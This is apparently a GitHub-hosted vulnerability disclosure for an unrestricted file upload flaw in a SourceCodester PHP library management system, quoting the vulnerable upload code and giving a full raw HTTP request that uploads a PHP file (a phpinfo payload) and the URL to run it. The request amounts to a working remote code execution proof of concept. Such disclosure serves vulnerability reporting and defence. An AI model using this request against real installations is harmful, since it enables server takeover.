Skip to content
Permalink
main
Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?
Go to file
 
 
Cannot retrieve contributors at this time

Title: Library Management System with QR code Attendance_File Upload RCE

Author: Ashish Kumar (https://www.linkedin.com/in/ashish-kumar-0b65a3184)

Date: 27.06.2022

Vendor: https://www.sourcecodester.com/users/kingbhob02

Software: https://www.sourcecodester.com/php/15434/library-management-system-qr-code-attendance-and-auto-generate-library-card.html

Version: 1.0

Reference: https://github.com/CyberThoth/CVE/blob/main/CVE/Library%20Management%20System%20with%20QR%20code%20Attendance/File_Upload/POC.md

Description:

At the file upload function, the application system checks the validity of the file type, format, and content uploaded by the user, so that attackers can upload Webshell (.php, .jsp, asp, etc.) malicious script files or files in unexpected formats, such as: HTML files, SHTML files, etc., at the same time, you can use characters such as directory jump or control the upload directory to directly upload files to the Web directory or any directory, which may lead to the execution of arbitrary malicious script files on the remote server, thereby directly obtaining application system permissions.

$uploaddir = 'assets/uploads/';

$uploadfile = $uploaddir . basename($_FILES['image']['name']);

Payload used:

<?php phpinfo();?>

POC

POST /LMS/card/index.php HTTP/1.1
Host: localhost
Content-Length: 1056
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://localhost
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryngJP5BxPA6UsA91O
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/LMS/card/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: PHPSESSID=0r78mi76ub6k55p8mkce7f4pco
Connection: close

------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="name"

File_Upload
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="grade"

Computer Studies
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="dob"

Student
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="address"

Testing Testing
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="email"

ashish@cyberthoth.in
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="exp_date"

1990-02-11
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="id_no"

8529637
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="phone"

1212121212
------WebKitFormBoundaryngJP5BxPA6UsA91O
Content-Disposition: form-data; name="image"; filename="File_upload.php"
Content-Type: application/octet-stream

<?php phpinfo();?>
------WebKitFormBoundaryngJP5BxPA6UsA91O--

Access below URL:

http://localhost/LMS/card/assets/uploads/File_upload.php

image